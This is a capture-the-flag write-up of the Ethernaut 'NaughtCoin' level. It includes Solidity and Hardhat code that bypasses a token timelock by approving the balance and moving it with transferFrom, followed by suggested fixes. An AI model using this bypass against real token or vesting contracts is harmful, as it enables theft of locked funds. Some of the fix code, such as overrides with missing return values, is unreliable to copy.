NaughtCoin Challenge - Ethernaut Level 15
Challenge Description
Challenge Goal
Transfer all your NaughtCoin tokens to another address before the 10-year timelock expires. This requires bypassing the lockTokens modifier by using alternative transfer methods that aren't restricted by the timelock.
The Vulnerable Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}The Vulnerability
The vulnerability in this contract is subtle but exploitable. The issue is in the implementation of the lockTokens modifier:
- Incomplete Function Override: Only the
transferfunction is overridden with thelockTokensmodifier - Inherited Functions Unprotected: The contract inherits from OpenZeppelin's ERC20, which includes other transfer methods like
transferFromthat aren't overridden - Modifier Logic Flaw: The
lockTokensmodifier only applies the timelock check whenmsg.sender == player
The key insight is that while the transfer function is protected, the transferFrom function from the ERC20 standard is not overridden and can be used to bypass the timelock.
The Attack Strategy
To exploit this vulnerability, we can use the transferFrom function instead of transfer:
- Approve Another Address: Use the
approvefunction to allow another address (or contract) to spend our tokens - Use transferFrom: Have the approved address call
transferFromto move our tokens - Bypass Timelock: Since
transferFromisn't protected by thelockTokensmodifier, the timelock is bypassed
The Attack Contract
Here's the attack contract that exploits this vulnerability:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract NaughtCoinAttack {
function transferFrom(address token, address from, address to, uint256 amount) external {
IERC20(token).transferFrom(from, to, amount);
}
}How the Attack Works
Attack Flow:
- Deploy Attack Contract: Deploy the
NaughtCoinAttackcontract - Approve Attack Contract: Call
approveon the NaughtCoin contract to allow the attack contract to spend our tokens - Transfer Using transferFrom: Call
transferFromthrough the attack contract to move our tokens - Bypass Timelock: The transfer succeeds because
transferFromisn't protected by thelockTokensmodifier
Key Attack Code:
// The attack contract simply calls transferFrom
function transferFrom(address token, address from, address to, uint256 amount) external {
IERC20(token).transferFrom(from, to, amount);
}
// This bypasses the lockTokens modifier because transferFrom isn't overriddenDeployment and Execution Script
Here's the script to deploy and execute the attack:
const hre = require("hardhat");
require("dotenv").config();
async function main() {
// Deploy the NaughtCoinAttack contract
const NaughtCoinAttack = await hre.ethers.getContractFactory("NaughtCoinAttack");
const attack = await NaughtCoinAttack.deploy();
await attack.waitForDeployment();
console.log("NaughtCoinAttack deployed to:", await attack.getAddress());
// Get the NaughtCoin contract instance
const naughtCoinAddress = process.env.NAUGHT_COIN_ADDRESS;
if (!naughtCoinAddress) {
throw new Error("Please set the NAUGHT_COIN_ADDRESS in your .env file");
}
const naughtCoin = await hre.ethers.getContractAt("NaughtCoin", naughtCoinAddress);
// Get player address
const [player] = await hre.ethers.getSigners();
console.log("Player address:", player.address);
// Get total balance
const balance = await naughtCoin.balanceOf(player.address);
console.log("Player balance:", balance.toString());
// Approve attack contract to spend tokens
const approveTx = await naughtCoin.approve(await attack.getAddress(), balance);
await approveTx.wait();
console.log("Approved attack contract to spend tokens");
// Transfer tokens using attack contract
const transferTx = await attack.transferFrom(
naughtCoinAddress,
player.address,
await attack.getAddress(),
balance
);
await transferTx.wait();
console.log("Transferred tokens to attack contract");
// Verify balance is 0
const newBalance = await naughtCoin.balanceOf(player.address);
console.log("New player balance:", newBalance.toString());
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});Security Lessons
- Complete Function Override: When overriding functions from inherited contracts, make sure to override all related functions that could be used to bypass your security measures.
- ERC20 Standard Awareness: Understand the full ERC20 interface and all the transfer methods it provides.
- Modifier Coverage: Ensure that security modifiers are applied to all functions that could affect the protected state.
- Inheritance Risks: Be careful when inheriting from complex contracts like OpenZeppelin's ERC20, as they provide many functions that might not be immediately obvious.
- Approval Security: Be cautious with the
approvefunction, as it can be used to bypass transfer restrictions.
Prevention
Here's how you could fix the vulnerable contract:
// Fixed version 1: Override all transfer functions
contract NaughtCoin is ERC20 {
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public override lockTokens returns (bool) {
super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public override lockTokens returns (bool) {
super.approve(_spender, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
// Fixed version 2: Use a more comprehensive approach
contract NaughtCoin is ERC20 {
uint256 public timeLock = block.timestamp + 10 * 365 days;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
_mint(player, 1000000 * (10 ** uint256(decimals())));
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == player) {
require(block.timestamp > timeLock, "Tokens are locked");
}
}
}Why This Vulnerability Matters
This vulnerability demonstrates an important principle in smart contract security: inheritance can introduce unexpected attack vectors. When inheriting from complex contracts like OpenZeppelin's ERC20, you need to be aware of all the functions that are available and ensure your security measures cover all relevant entry points.
In real-world scenarios, this type of vulnerability could be exploited in:
- Token Contracts: Any ERC20 token with transfer restrictions that don't cover all transfer methods
- Vesting Contracts: Token vesting contracts that only protect the
transferfunction - Access Control: Contracts that rely on function-level access controls without considering inherited functions
- Timelock Contracts: Any contract with timelock restrictions that don't cover all state-changing functions
ERC20 Transfer Methods
The ERC20 standard includes several transfer-related functions that should all be considered when implementing transfer restrictions:
transfer(address to, uint256 amount)- Direct transfertransferFrom(address from, address to, uint256 amount)- Transfer using allowanceapprove(address spender, uint256 amount)- Approve spendingincreaseAllowance(address spender, uint256 addedValue)- Increase allowancedecreaseAllowance(address spender, uint256 subtractedValue)- Decrease allowance
Conclusion
The NaughtCoin challenge teaches us about the importance of comprehensive function overriding when inheriting from complex contracts. The key takeaway is to always consider all the functions that could be used to bypass your security measures, not just the obvious ones.
This vulnerability shows why it's crucial to understand the full interface of inherited contracts and to implement security measures that cover all possible attack vectors, not just the most common ones.